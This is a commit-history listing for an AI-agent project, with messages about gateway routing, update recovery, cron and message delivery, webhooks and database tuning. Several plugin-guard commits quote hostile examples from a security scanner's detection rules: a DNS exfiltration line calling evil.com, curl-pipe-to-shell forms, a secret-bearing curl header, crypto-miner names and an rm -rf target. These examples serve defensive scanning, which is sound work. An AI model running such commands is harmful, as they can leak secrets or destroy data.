Commit Graph

23218 Commits

Author SHA1 Message Date
teknium1
e5df4320f6 fix(gateway): /fast and its Ultrafast gate judge the session's own route
/fast now asks the same question the next turn asks: resolve_fast_mode_overrides
over the route _resolve_session_agent_runtime returns (session /model override,
channel override, persisted override after a restart), with provider and
base_url. Both the Priority gate and the Ultrafast gate added in #128307 read
that one route, so GPT-6 Astra picked with session /model on openai-codex gets
/fast and /fast ultrafast, and a fast-capable default no longer admits a
session route whose requests never carry the tier (gpt-5.4 via OpenRouter).

The tier override is also stored under the topic-recovered session key, the
one the next turn reads (#30479 class; /model and /reasoning already do this),
so on Telegram DM topics a session /fast is no longer dropped.

Route resolution runs off the event loop (it can refresh an OAuth token, as
the turn does); with no usable route at all the configured model is judged
alone, as before.

Tests: the four salvaged cases collapse into two invariants on the real
fast-mode tables (both gate directions + the turn's request_overrides, and
the recovered-topic key); red on origin/main.
2026-10-01 22:47:04 -07:00
Willhong
cd2c5cf9af fix(gateway): resolve /fast eligibility against session model override
Route /fast eligibility through _resolve_session_agent_runtime (the same
resolver normal turns use) instead of the global _resolve_gateway_model,
so a session-scoped /model override or channel override keeps /fast in
sync with the model the next agent turn actually routes to. Normalize the
command source exactly like /model does so the override is read under the
key it was stored, and let the resolver rehydrate persisted overrides a
gateway restart cleared from memory.

Rebased onto current main (was DIRTY): the lazy import in
_handle_fast_command now pulls only _load_gateway_config; the sibling
picker tests in test_choice_picker.py::TestFastChoicePicker are updated to
stub _resolve_runtime_agent_kwargs (matching test_fast_command.py) so the
no-override path doesn't hit real provider resolution in CI.

Tests: tests/gateway/test_fast_command.py (10) +
tests/gateway/test_choice_picker.py::TestFastChoicePicker (4) pass.

(cherry picked from commit 9885267a6f6e124b470fa2f597ef9c3623063549)
2026-10-01 22:47:04 -07:00
teknium1
7f7e1ab402 fix(desktop-update): any failure after the banner keeps a killed update failed
The 124 remap was vetoed only by "Update not complete", but the restart
and verify phase prints other failure lines after "Update complete!":
"Update incomplete — …", "✗ <unit> failed to come back/stay running
after restart", "verification incomplete". Any of them now keeps the
watchdog kill a failure. Only text after the last banner is inspected,
and ✗ is matched as \u2717 because Windows PowerShell reads the BOM-less
script as ANSI.

Reported by @unsupportedpastels in review.
2026-10-01 22:35:29 -07:00
teknium1
00302e636c fix(update): a same-commit update that failed still owes its tail on launch
The completed-tree shortcut treated "stamp names HEAD" as "nothing is
owed". But `hermes update` at an unchanged commit ("Already up to date")
re-arms the completion marker before running the tail; when that tail
fails or is killed, the old stamp still names HEAD and the next launch
silently cleared the marker instead of retrying it.

The stamp only proves the tail that wrote it. A marker is now discharged
only when it predates the stamp (the #123314 leftover from a previous
install); one armed after it is retried as before. The shortcut also
requires a clean tree on both sides: a stamp recorded dirty, or local
edits since, are no proof that the built products match the checkout.

Reported by @unsupportedpastels in review.
2026-10-01 22:35:29 -07:00
teknium1
91e8f7595d refactor(desktop-update): keep only the reachable 124-after-completion remap
The Windows hand-off's idle watchdog is the only producer of exit 124 on
main (posix.sh has no watchdog and `hermes update` never exits 124), so
the posix remap was dead and goes. The retry-state helper and its
self-test arm collapse into one Resolve-HermesUpdateOutcome check, now
proved end to end through the real hand-off instead: a fake update that
prints its banner and parks silently past a 3 s ceiling surfaces as a
verified success with the gateway fleet restored.

The remap also refuses a run whose output already carries the
"Update not complete" verdict, which supersedes the banner.
2026-10-01 22:35:29 -07:00
teknium1
38254027bf fix(update): an adoption stamp never discharges an owed completion tail
Boot-time adoption of an unstamped blessed checkout publishes the same
identity a finished install/update does (commit == HEAD) but builds
nothing. Read as completion evidence, the launch that adopted (and every
later one) cleared a pending source-completion marker whose tail never
ran, and nothing on disk recorded the debt afterwards.

Adoption now stamps `adoptedAt`; the completed-tree check ignores such
stamps, and the next real completion rewrites the stamp without it. The
check also drops its blanket try/except: both reads it wraps never raise.
2026-10-01 22:35:29 -07:00
Brooklyn Nicholson
1b0d8aa3d5 fix(desktop-update): completed update killed with exit 124 is terminal, never re-run (#96205)
Port of #96340 (Finn763) onto the current legacy-scoped retry gates,
narrowed to the watchdog sentinel only: exit 124 + the "Update complete!"
marker maps to success so the hand-off verifies and relaunches the new
build instead of re-running the completed update (the 70+ minute popup
retry storm). A plain exit 1 after the marker is the stale-gateway
verdict (hermes_cli/update_receipt.py) and must keep failing.

As first written this also added a posix.sh gate and a retry-state
helper with a -SelfTestRetryState arm; the next commit drops the posix
gate (nothing there exits 124) and replaces the helper and self-test
with one end-to-end test through the real hand-off.

Co-authored-by: Finn763 <165816600+Finn763@users.noreply.github.com>
2026-10-01 22:35:29 -07:00
finn763
6770bc9578 fix(update): skip source-update completion when the stamp names HEAD
A fresh install records its tree in install-stamp.json; a first launch under a preserved or pristine home then re-entered the completion tail against the same SHA (stale pending marker, or no per-home facts). When the stamp commit is HEAD the products were already built for this tree: provision a stale venv without arming, discharge leftover markers, and run the agent. Fixes #123314.
2026-10-01 22:35:29 -07:00
teknium1
25aa38c008 fix(status): one row per messaging platform, judged by the gateway (#96190)
`hermes status --full` printed two lists for the same platforms: a legacy
table judged by one env var, then "(plugin)" rows judged by the gateway.
Slack configured in config.yaml showed "✗ not configured" and
"✓ configured (plugin)" in the same section, and the legacy verdict could
disagree with the summary's Platforms line.

Render one list from the gateway config instead: registry entries bring
their labels, a small label table covers built-in adapters without one,
"configured" is get_connected_platforms() (the summary's verdict), and the
home channel comes from the loaded config, which also fixes the legacy
table reading QQ_HOME_CHANNEL where the gateway reads QQBOT_HOME_CHANNEL.

Dedupe idea from #54131; root-cause analysis of the check_fn verdict from
#96200.

Co-authored-by: igparkernz-coder <297591502+igparkernz-coder@users.noreply.github.com>
Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>
2026-10-01 22:27:03 -07:00
teknium1
2be78cbcf7 fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep
Seven more mechanisms that scored clean catalog pins as caution/dangerous,
each fixed at the pattern or context level (no path exclusions):

- crypto_mining: the bare coin name `monero` as a keyword in a connector
  index / search shortlist (`"monero gateway"`, `... monero multimodal ...`)
  lands at medium when nothing on the line names miner software, a pool,
  an algorithm or the act of mining. xmrig / stratum / coinhive /
  cryptonight, or `monero` beside a pool or "miner", keep full severity.
- dns_exfil: `host` is an English noun and an HTTP header. It now needs
  the exfil shape itself (an interpolation inside a domain name,
  `host $(whoami).evil.com`) or a shell command position (`; host $x`,
  `do host $c`). "the connected host (${id})", a JS `host ${status}:`
  message and nginx `Host $host;` no longer match. dig/nslookup unchanged.
- echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell
  alternation is word-bounded, so `| sha256sum -c` is not `| sh`.
- exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`,
  BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call.
- sudo_usage (and any other high, non-agent-facing finding) mid-sentence in
  a `"key": "string"` pair or a bare string list element of a .json data
  file (tips / translation table) takes the README prose cap. Command keys,
  a string that starts with the command (`"sudo",` in an args array),
  package.json and critical findings keep severity.
- test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string
  literal is data, so a hostile-input table no longer counts as executing.
  `os.system(...)`/`exec(...)` outside the literal still do; shell files
  keep the raw line.
- docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and
  `${HOME}`) gets the same note as the `$HOME` form; a wider target or the
  same line in a .sh keeps severity.

curl_pipe_shell in a Python hint string is deliberately unchanged: the
same literal assigned to a variable is the attack shape, and it is only
high (caution) today.

SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
2026-10-01 22:05:55 -07:00
Teknium
400ed22df1 fix(plugin-guard): a bracket span holding a quote is a list, not a character class
The catalog blast-radius sweep showed `hex_encoded_string` stepping down on
`[Frame(b"\x01\x00" * 200), ...]` — a Python LIST of byte strings that the
bracket lexer read as a regex class. Exclude quote characters from the class
body; the real control-char / ANSI classes in the sweep are unaffected.
2026-10-01 22:05:55 -07:00
Teknium
8319fa1d74 fix(plugin-guard): false-positive round (denylist regex literals, localhost curl docs, tone rules, ANSI regex)
Four false-positive classes surfaced by today's catalog intake, each demoted only
where the text is inert and proven to keep its severity at a command position:

- format_filesystem: the filesystem-format binary as an alternation member of a
  guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an
  un-overridable `dangerous`. Joins the existing alternation-token contract
  -> high (caution). The same word at a command position (subprocess.run /
  os.system / mid-pipeline command string) stays critical.
- env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose
  loopback URL is on the continuation line (memex8 README.md:166). The pattern
  already exempts a same-line loopback; re-run it over the logical line and
  require every http(s) host be loopback -> low. A routable host anywhere on the
  logical line keeps high (README) / critical (after-install.md).
- deception_hide: a skill tone rule quoting the phrase not to say
  (`Do not tell the user to "be careful with terminal."`, hermes-tenuo
  SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what`
  concealment instructions still fire at high.
- hex_encoded_string: every `\xHH` inside a `[...]` regex character class
  (`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or
  beside a class, keeps medium.

PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan.
A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings
medium->low on real control-char regexes); attack probes identical.
2026-10-01 22:05:55 -07:00
teknium1
a3149156ec feat(cli): make the summary the default hermes status, --full for every section
`hermes status` now prints the one-screen summary (model, provider, connected
providers, gateway, platforms, jobs); `--full` (alias `--all`, which never
changed the output) and `--deep` print every section as before. Hermes
Console keeps the full report since it accepts no flags.

The summary reads the canonical sources instead of re-deriving them:
- Providers: list_authenticated_providers, the list the /model picker offers
  (cached catalogs only, no custom-endpoint probes), so it honours
  model_catalog.excluded_providers, pools and plugin providers for free.
- Platforms: GatewayConfig.get_connected_platforms, the gateway's own
  decision about which adapters to start (it also rejects placeholder tokens).

The full Messaging Platforms section now uses the same verdict for plugin
rows. It called check_fn, a passive "SDK importable" probe that is True for
every bundled plugin, so a fresh install listed Discord, Slack, Matrix,
Teams, WhatsApp and ~9 more as "configured" with no credentials.
2026-10-01 22:03:11 -07:00
PhoeniXAbhisheK
c82ad613ec feat(cli): add hermes status --short
Compact, secret-free summary of the component status: model, provider,
connected providers, gateway, messaging platforms, and scheduled jobs.

The provider list is registry-driven (PROVIDER_REGISTRY API-key rows,
refresh-free OAuth getters, plugin-mirrored OAuth providers, the
OpenRouter rung, configured custom endpoints), so new providers and
endpoints surface without touching the short renderer. Plugin-platform
configuredness prefers the is_connected hook over the deps probe (same
rule as hermes setup and the #102183 fix); every lookup is fail-soft,
so a failing probe degrades one row, never the command.

Full `hermes status` output and the console_engine call shape are
unchanged. Docs: website/docs/reference/cli-commands.md. Tests: 8 new
cases in tests/hermes_cli/test_status.py (25/25 pass via run_tests.sh).
2026-10-01 22:03:11 -07:00
teknium1
d802c47238 docs: one complete plugin catalog submission guide, synced with the README rules
Submitters only saw a stale 5-point summary on the catalog page (it even listed
a 'Released' requirement nothing enforces), while reviewers applied ten README
rules plus criteria written nowhere public (credentials, approvals, disclosure,
compatibility metadata, forks of bundled plugins).

- plugin-catalog/README.md: rules 11-15 write down those review criteria; the
  rule list sits between admission-rules markers.
- New developer-guide page 'Submitting to the plugin catalog': before you
  submit, the PR flow, the full rule block (verbatim mirror), pin updates,
  delisting vs removal, asking for a hook.
- The /plugins 'Submit' links and the user-guide section point at it.
- tests/website/test_catalog_rules_mirror.py fails when the two rule blocks
  differ; classify_changes makes a README-only edit run it.
- AGENTS.md, plugins/AGENTS.md and CONTRIBUTING.md reference both files.
2026-10-01 21:58:11 -07:00
unsupportedpastels
5bba024d8d fix(gateway): count restart-wait cron exclusions per profile-scoped run
A scoped or wedged daily-brief in profile A must not hide a degraded or
live daily-brief in profile B. Split the scheduler's in-flight keys before
counting and add awaitable cron runs independently of non-cron work.
Carry the per-run restart_safe flag to the observer and preserve the
existing bare-ID accessors for unrelated callers.

Thanks to @ehz0ah for diagnosing the multiplexed collision and proposing
the profile-keyed accounting and mixed scoped/degraded regression case.
Preserve @Superfly73's source commit separately; map their verified bare
noreply email for the contributor CI gate.

Refs #130987

Co-authored-by: z1gon <130889443+ehz0ah@users.noreply.github.com>
2026-10-01 22:25:21 -04:00
Superfly73
336b557bec fix(gateway): skip cron runs in their own restart-safe scope in the restart wait
A cron run handed to an external worker in its own transient systemd scope
outlives the gateway: the shutdown drain deliberately leaves it unmarked
(``mark_running_jobs_interrupted``) and its final send rides the durable
delivery queue, drained by whichever gateway is live next. The after-turn
restart wait still counted it as active work, so ``/restart``, SIGUSR1 and
``hermes update`` held the gateway in ``draining`` — refusing every new turn —
for up to ``agent.restart_after_turn_timeout`` (30 min by default) while the
worker kept running regardless. Observed in the field: a 100-minute job turned
a restart into a ~30-minute lockout.

- ``cron.scheduler`` records whether an accepted handoff got its own scope
  (``dispatch.mode == "scoped"``) and exposes
  ``get_restart_safe_external_job_ids()``; runs already reported as wedged are
  excluded there too, because the gateway subtracts both counts and a run in
  both sets would be subtracted twice.
- ``_awaitable_work_count()`` subtracts that count as a second, disjoint
  exclusion; ``_describe_active_work()`` marks the unit (``restart_safe``).
- A degraded worker (external, but no reachable user bus, so it shares the
  gateway cgroup) is NOT listed and is still awaited — the restart would kill
  it mid-run.
- The wait and observation log lines now name both exclusion classes instead of
  claiming everything still listed will be interrupted.

Tests: tests/gateway/test_restart_drain.py (skip + control),
tests/cron/test_restart_safe_worker.py (registry contract).
Docs: updating.md restart section, cli-config.yaml.example.

(cherry picked from commit 6a2f0b77cf07a60510430fc4ef8b75539ee422fb)
2026-10-01 22:25:21 -04:00
teknium1
be5e9f72c6 fix(cron): a partly delivered split send is not re-sent by the standalone fallback
The router turned every failed SendResult into a bare RuntimeError, which
dropped raw_response, and the cron live lane falls back to the standalone
sender on any error. A split send that failed after delivering its head
(Telegram, Discord, and now SMS/WeCom) was therefore delivered again from
the start by the standalone lane.

The router raises PartialDeliveryError for a partial_overflow result; the
live lane records "delivered N of M chunks, then failed" on the run and
does not fall back.
2026-10-01 17:18:56 -07:00
teknium1
e7b68e4a4a fix(cron): a live send that outlasts the 60s wait keeps running instead of being killed
_live_send_text used future.cancel() to tell a send that never started
(wedged loop: fall back to standalone) from one in flight (assume delivered:
a resend would duplicate). A run_coroutine_threadsafe future stays PENDING
until the coroutine finishes, so cancel() returned True mid-send: the
in-flight send was cancelled part-way and the standalone lane then sent the
whole payload again. Paced multi-chunk sends (WeCom's 30 msgs/min bucket)
outlast 60s routinely; a 55-chunk cron payload arrived as 25 chunks and was
reported failed.

The send now records its own start under a lock; on timeout it is
abandoned (and the standalone fallback runs) only when it never began.

The existing in-flight test faked the state with a mocked cancel()
returning False, the exact assumption that does not hold; it is rewritten
against a real event loop, with the never-started (wedged loop) case it
never covered alongside.
2026-10-01 17:18:56 -07:00
teknium1
c8cde58273 fix(gateway): a split send that fails mid-way is never re-sent whole
SMS and both WeCom adapters now split long replies, and their chunk loops
returned a plain failure when a later chunk was rejected. The base send
path cannot tell that from a total failure, so _send_with_retry retried the
whole payload or sent the 3500-char plain-text fallback and reported
success: the recipient got the head twice and never got the tail.

The three loops now share gateway.platforms.helpers.send_chunks(), which
marks a failure after delivered chunks with the existing partial_overflow
contract (the one Telegram and Discord set and _is_partial_delivery reads).
The retry and plain-text fallback already refuse to re-send a partial
delivery, so the caller gets an honest failure and nothing is duplicated.
Resuming the undelivered tail is #124295's scope.
2026-10-01 17:18:56 -07:00
teknium1
a959a6ede1 fix(wecom): split long messages instead of silently truncating them
Both WeCom adapters dropped everything past the platform limit with no
error: the AI Bot adapter sliced markdown content at 4000 chars, and the
callback (self-built app) adapter sliced text at 2048 *characters* while
message/send keeps only the first 2048 *bytes* (so CJK replies lost
everything past about 680 characters). Cron output was additionally cut
to 4000 chars with a gateway-host file pointer.

AI Bot: send() queues one markdown message per MAX_MESSAGE_LENGTH chunk,
so every chunk draws its own token from the 30 msgs/min per-chat bucket
(errcode 846607), and each goes out on the cached reply req_id like any
other send in that chat (group chats cannot send proactively). Callback: chunk by UTF-8 bytes at 2048.
Both declare splits_long_messages so cron delivery hands over the full
payload. Each stops at the first failed chunk and returns its error.

Fixes #19689
Fixes #107443

Co-authored-by: luyao618 <364939526@qq.com>
Co-authored-by: briandevans <252620095+briandevans@users.noreply.github.com>
Co-authored-by: LeonSGP43 <cine.dreamer.one@gmail.com>
Co-authored-by: Andy <sz.private@gmail.com>
2026-10-01 17:18:56 -07:00
teknium1
33c7018054 fix(email): deliver oversized cron output as one whole email
The delivery router truncated cron output above 4000 chars and appended
a footer pointing at a file on the gateway host, which an email
recipient cannot open. One email carries the whole body, so declare
splits_long_messages and let the router hand over the full payload.

Fixes #61990

Co-authored-by: Petra <petra.kersten@agentmail.to>
Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>
2026-10-01 17:18:56 -07:00
teknium1
25077f6be8 fix(sms): split long replies under Twilio's 1600-char cap and deliver full cron output
send() called truncate_message() without a limit, so it chunked at the
4096 default; Twilio rejects any Body over 1600 characters (code 21617),
so every reply longer than 1600 chars failed outright. Oversized cron
output was first cut to 4000 chars by the delivery router (SMS did not
declare splits_long_messages) and then failed the same way.

Chunk at MAX_MESSAGE_LENGTH (1600) and declare splits_long_messages so
the router hands send() the full payload.

Fixes #62751

Co-authored-by: Philip D'Souza <9472774+PhilipAD@users.noreply.github.com>
Co-authored-by: JackJin <1037461232@qq.com>
Co-authored-by: euisuh <euisuh.jeong@gmail.com>
Co-authored-by: Froraut <79215537+Froraut@users.noreply.github.com>
2026-10-01 17:18:56 -07:00
dhruv.kejriwal
164a697d0c fix(cron): ignore measured durations in the incident error signature
The inactivity watchdog polls every 5s, so the same stall reports
"idle for 601s" on one run and "idle for 604s" on the next. The incident
signature hashed that raw number, so each run minted a new incident: an
acked timeout pinged again and the repeat-alert cooldown never applied.
Mask duration tokens before hashing; status codes and other numbers still
split incidents.

Fixes #129587
2026-10-01 20:14:31 -04:00
teknium1
d49da55d4c fix(update): skip recompiling the TUI and web UI when their inputs are unchanged
The source update rebuilt every frontend unconditionally, although each
compiler writes a receipt that the launch path already trusts to answer
"would a rebuild produce these bytes?". Reuse it in the update too, as the
pre-PM updater did for the web UI (_web_ui_build_needed). Desktop keeps its
unconditional build: the baked install stamp carries the commit, so every
update that moves HEAD changes a desktop input anyway.

Credit: #125749 by @Froraut proposed the same receipt-gated TUI/web skip first.

Co-authored-by: Froraut <79215537+Froraut@users.noreply.github.com>
2026-10-01 15:28:55 -07:00
kshitijk4poor
eafbe60bf9 fix(pairing): purge revoked users from live allowlist sets in place
Discord approval views and the VoiceReceiver hold a reference to the
adapter's _allowed_user_ids set. Rebinding the attribute to a new set left
those holders authorizing a revoked user until restart; mutate the set in
place instead. list/str/None snapshots keep the rebinding behaviour.
The revoke test now pins that a held reference loses the revoked user,
and drops a tautological id(adapter) assertion plus an unused fixture.
2026-10-02 02:59:59 +05:30
FroRaut
09c9ed2a61 fix(matrix): apply pairing revocations live
(cherry picked from commit 6c69d87fee43e5bcdcbc5f0e2d26fa9e1aa83ecc)
2026-10-02 02:59:59 +05:30
kshitijk4poor
2514227415 test(whatsapp): fold cloud webhook identity binding tests into TestWebhookDispatch
The binding regression lived in a new file that re-implemented the
signing/request helpers already in test_whatsapp_cloud.py and asserted
incidental state (a second profile's signature check, _accepted_count).
One parametrized test on the existing helpers covers the drop cases plus
the matching and WABA-unset accept cases, which also replaces the
init-snapshot half of the old reconfiguration test.
2026-10-02 02:58:18 +05:30
FroRaut
4152c69636 fix(whatsapp): bind cloud webhooks to configured identity
(cherry picked from commit a2efc1d62c5be444274ae58fda1aa86d1d9793ee)
2026-10-02 02:58:18 +05:30
kshitijk4poor
ff40cfe272 test(webhook): pin disable-survives-repost and the inode-only reload change
The dashboard create test now disables the route via the enabled endpoint and
re-POSTs it; the stored record must stay disabled (the rule moved into
_replace_subscription, and the pre-salvage ops.py dropped it).

The profile-rebind test drops its reader-thread scaffolding, which could not fail
under the lock-free atomic-rename store. Instead the rebind is a same-size rewrite
with the original mtime restored, so only the new inode tells the gateway the file
changed; a stat key without st_ino keeps serving the revoked secret.
2026-10-02 02:54:18 +05:30
kshitijk4poor
ed7909bad9 refactor(webhook): drop dead revision snapshot, lock-free reads, CAS owns the disable rule
The sha256 revision returned by _load_subscriptions_unlocked was never compared by
anyone, so _load_subscriptions_snapshot was dead weight; the loader now returns the
dict and folds its duplicate excepts. _load_subscriptions reads without the store
lock: writers publish by atomic rename, so readers always see one whole snapshot,
and read-only homes (where the lock file cannot be created) keep listing routes.
Nothing re-enters the lock any more, so the thread lock is a plain Lock.

The "keep an explicit enabled: False" rule was copied into both the CLI subscribe
path and the dashboard create path; it now lives in _replace_subscription after the
CAS check (where the current record is authoritative) and the published route is
returned, so the dashboard summary reflects what was actually stored.

The rebind secret selection collapses to one expression (same result for all four
profile-changed x --secret combinations), and the test-only _save_subscriptions is
removed; tests seed through _mutate_subscriptions.

The gateway's dynamic-route reload now records the stat key for a malformed or
non-dict file too, so a bad version is parsed once rather than on every POST while
the last good routes stay live. Docs describe the reload as stat-gated and lock-free.
2026-10-02 02:54:18 +05:30
kshitijk4poor
56845fedc5 fix(webhook): stat-gate dynamic route reload without the writer lock
The salvaged transaction commit made the gateway's _reload_dynamic_routes
take the CLI writer lock (thread RLock + blocking fcntl flock) and read +
sha256 the whole subscriptions file on every POST, before auth, on the
event loop. A CLI/dashboard writer holding the lock stalls the gateway and
unauthenticated callers drive lock acquisitions.

Writers publish via atomic rename, so a lock-free read is already
coherent, and the rename gives the file a new inode. Gate the reload on
(st_mtime_ns, st_size, st_ino) instead: one stat per request, and a
restored/coarse mtime still triggers a reload. An unreadable or non-dict
file keeps the last good routes (the snapshot helper returned an empty
store on read errors, wiping live routes); only a missing file clears
them. Fix the stale "mtime-gated" call-site comment.

Co-authored-by: FroRaut <79215537+Froraut@users.noreply.github.com>
2026-10-02 02:54:18 +05:30
FroRaut
3082d00c82 fix(webhook): transact subscription mutations
(cherry picked from commit 8c4ee86733a1193687f379e158e870ee4bcf56b5)
2026-10-02 02:54:18 +05:30
kshitijk4poor
f15c19c25f refactor(state): one preview-column builder, pinned at every session listing (#119403)
Review of the previous commit found a fourth copy of the preview
subquery, in list_recent_sessions_bounded (session_search's recent
browse, correlated on tip.id). It still had a bare FROM messages m, so it
kept the stale-stats plan. The three copies the previous commit patched
differed from _PREVIEW_RAW_SUBQUERY_SQL only in whitespace, and no test
pins their SQL text.

_sql_preview_raw(session_id_expr) now builds the column for the sidebar,
the bounded recent browse, the telegram unlinked listing and the export
select, so the INDEXED BY lives in one place. The regression test now
covers the sidebar, session_search and telegram readers. It asserts that
both the preview (m) and last-active (_act_m) searches run, and that each
one goes only through idx_messages_session. All three cases fail on
origin/main and when the hint is dropped from the helper.
2026-10-02 02:34:41 +05:30
kshitijk4poor
a1bb2ceb5b perf(state): session-list subqueries stay on idx_messages_session under stale planner stats (#119403)
The per-session last-active MAX(timestamp) and preview subqueries now name
idx_messages_session (session_id, timestamp) with INDEXED BY.

A sqlite_stat1 written before idx_messages_session_id existed (added by
#76877, 8f91e249e4, 2026-08-02) has no row for that index, so the planner
guesses it is selective and routes both subqueries through it: every
listed session then reads all of its message rows. #122283 (f27bde1fdd)
already moved the last-active subquery back onto the covering index by
adding a timestamp range, but the preview subquery still flips.

Measured on a generated 515-session / 125k-message state.db, one desktop
list_sessions_rich call (order_by_last_active, include_pinned, limit 40),
SQLite page-cache misses via .stats, median of 3:
  stale stats: pre-#122283 1033 MB, main 521 MB, this change 5.6 MB
  no stats:    5.6 MB on all three (no change)

idx_messages_session has been in SCHEMA_SQL since the first schema and is
never dropped, so the hint cannot name a missing index.
2026-10-02 02:34:41 +05:30
kshitijk4poor
c646bc29a9 fix(git): resolve include origins against the top level, cap and dedupe include targets
Gate follow-ups for the includeIf walk: git prints repo-local origins relative to the
worktree top level, so discovery from a subdirectory looked for the target in the wrong
place and skipped it (fail open). Resolve relative origins against `rev-parse
--show-toplevel` (one extra spawn, only when an include is present). Read each target once,
refuse a non-regular target (FIFO/device/directory) and more than 16 targets, so a repo
cannot make every hardened call spawn without bound. One discovery-regexp constant and a
single include-key matcher.
2026-10-02 02:31:03 +05:30
kshitijk4poor
22a81ca50a fix(git): neutralize filters named in includeIf targets instead of refusing the repo
Filter discovery refused every repository with a repo-local includeIf, so `hermes -w`,
kanban/subagent worktrees and the recovery hint stopped working inside actions/checkout
checkouts (which write an includeIf credential include) and similar setups. Read each
includeIf target directly, whatever its condition, and neutralize the filter commands it
defines alongside the ones found through --includes. One probe now lists both the filter
keys and the include paths (with --show-origin, so relative paths resolve against the file
that names them). A missing target is skipped as git skips it; an include nested inside an
include target, an unreadable target or a non-file origin still refuses.
2026-10-02 02:31:03 +05:30
teknium1
afc47d6e4f Revert "feat(approval): a turn can hold its approval prompts open until answered"
This reverts commit e57fa350cb.
2026-10-01 13:23:12 -07:00
teknium1
8edfe92501 Revert "feat(cli): approval and clarify panels wait until answered"
This reverts commit ea5b89fa35.
2026-10-01 13:23:12 -07:00
teknium1
2252d4303f Revert "feat(tui,desktop): approval and clarify cards wait until answered"
This reverts commit bd501669ce.
2026-10-01 13:23:12 -07:00
teknium1
734a94400a Revert "fix(cli): /bg turns hold their prompts open like the foreground turn"
This reverts commit 553bd72f33.
2026-10-01 13:23:12 -07:00
teknium1
423eef696e Revert "chore: review follow-ups — stale timeout comments, softer docs claim, group-turn cap credits only user-blocked intervals"
This reverts commit bdf4a5d632.
2026-10-01 13:23:12 -07:00
teknium1
e028d0fddb Revert "fix(cli): chat -q approvals keep the approvals.timeout deadline"
This reverts commit 82c63c505a.
2026-10-01 13:23:12 -07:00
kshitijk4poor
8a1efff136 fix(cron): keep caching bad-expr cron cadences; skip only import-failure None
e33181e883 stopped caching every None from _cron_interval_minutes, so a
malformed cron expression (croniter loaded, expression invalid) was
re-parsed on every in-flight-guard check. Track whether croniter actually
loaded and cache unless the None came from a failed import: a bad-expr
None is stable, an ImportError None is transient. The kept #127182
regression test now asserts the import-failure None stays uncached.

Also drop the redundant recovery_kind operand in
_recover_missing_next_run (_is_recoverable_error_job already requires a
cron/interval schedule) and tighten two comments.
2026-10-02 01:33:04 +05:30
kshitijk4poor
dfc289bc28 fix(cron): back off croniter re-probes for 60s after an ImportError
Not latching a failed croniter import fixed #127182, but with nothing
cached every _ensure_croniter() call re-ran the full finder walk when the
package is genuinely absent - several times per cron job on every
due-scan tick, under _jobs_lock. Remember a monotonic retry-at 60s out
instead: a transient failure still recovers within one tick, explicit
True/False overrides still win, and a missing package costs one probe a
minute.

Also tidy the error->scheduled re-arm: reuse _is_recoverable_error_job()
for the condition and drop the redundant next_run_at assignment that
job.update(fields) already performs; fix the test comment (the patched
import raises for as long as it is patched in, not once).
2026-10-02 01:33:04 +05:30
kshitijk4poor
8efccd6590 fix(cron): reset a re-armed recurring job from error to scheduled
Once croniter imports again, due-scan recovery re-arms a recurring job's
missing next_run_at, but the job kept state=error until it next fired, so
`hermes cron list` kept reporting a healthy, due job as broken. Flip it
back to scheduled in the same persist, and correct the docstring: recurring
jobs now also land here after a transient croniter ImportError (#127182),
not only after a hand-edited jobs.json.

Co-authored-by: itsflownium <157689911+itsflownium@users.noreply.github.com>
2026-10-02 01:33:04 +05:30
liuhao1024
a46ebee6f2 fix(cron): re-probe croniter after a transient ImportError instead of latching
A single transient croniter ImportError (wrong interpreter, shadowed path)
was cached as HAS_CRONITER=False for the whole process lifetime. While
latched, compute_next_run() returns None for every recurring job, so jobs
stay enabled with next_run_at=None and state=error — never rescheduled
until a gateway restart, despite the due-scan recovery path existing
exactly for that case (#127182).

Keep HAS_CRONITER None on failure so the next call re-probes; an explicit
monkeypatched value still wins. Also log sys.executable with the warning so
a scheduler running under the wrong interpreter is diagnosable from
errors.log.

Fixes #127182

(cherry picked from commit bb48a7b48fb28d45d63c47b59a1cf0c5049efb87)
2026-10-02 01:33:04 +05:30
kshitijk4poor
6c51075929 test(security): pass repo_root to _worktree_is_dirty after the include-symlink change
#130595 made repo_root a required argument; the filter-injection test still called the
one-argument form.
2026-10-02 01:24:41 +05:30
kshitijk4poor
8fc2de8906 test(delegation): read the owner's git state from a throwaway repo
The recovery-hint test used the hermes checkout as the owner cwd. CI's
actions/checkout writes a repo-local includeIf credential include, and
noninteractive_repo_git_env now refuses any includeIf, so the hint was
(correctly) withheld and the test read a missing key.
2026-10-02 01:24:41 +05:30
kshitijk4poor
0d5b75a6dd test(security): correct the broken_config exit-code comment
git config dies with rc 128 on a malformed .git/config, not 3; the
row is caught by the not-in-(0, 1) gate either way.
2026-10-02 01:24:41 +05:30